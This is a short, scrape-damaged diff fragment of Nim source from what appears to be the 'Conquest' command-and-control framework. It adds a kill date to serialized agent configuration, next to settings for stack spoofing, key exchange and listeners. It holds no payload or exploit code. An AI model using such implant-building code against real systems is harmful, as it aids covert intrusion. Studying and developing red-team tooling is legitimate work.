packer.add(uint8(sleepSettings.spoofStack))
|
||||||
|
|
||||||
|
# Kill date
|
||||||
|
packer.add(uint64(killDate))
|
||||||
|
|
||||||
# Public key for key exchange
|
# Public key for key exchange
|
||||||
packer.addData(cq.keyPair.publicKey)
|
packer.addData(cq.keyPair.publicKey)
|
||||||
|
|
||||||
@@ -157,7 +160,7 @@ proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): se
|
|||||||
|
|
||||||
let listener = cq.listeners[agentBuildInformation.listenerId]
|
let listener = cq.listeners[agentBuildInformation.listenerId]
|
||||||
|
|
||||||
var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings)
|
var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings, agentBuildInformation.killDate)
|
||||||
|
|
||||||
let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose)
|
let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose)
|
||||||
if unpatchedExePath.isEmptyOrWhitespace():
|
if unpatchedExePath.isEmptyOrWhitespace():
|
||||||
|
|||||||
Reference in New Issue
Block a user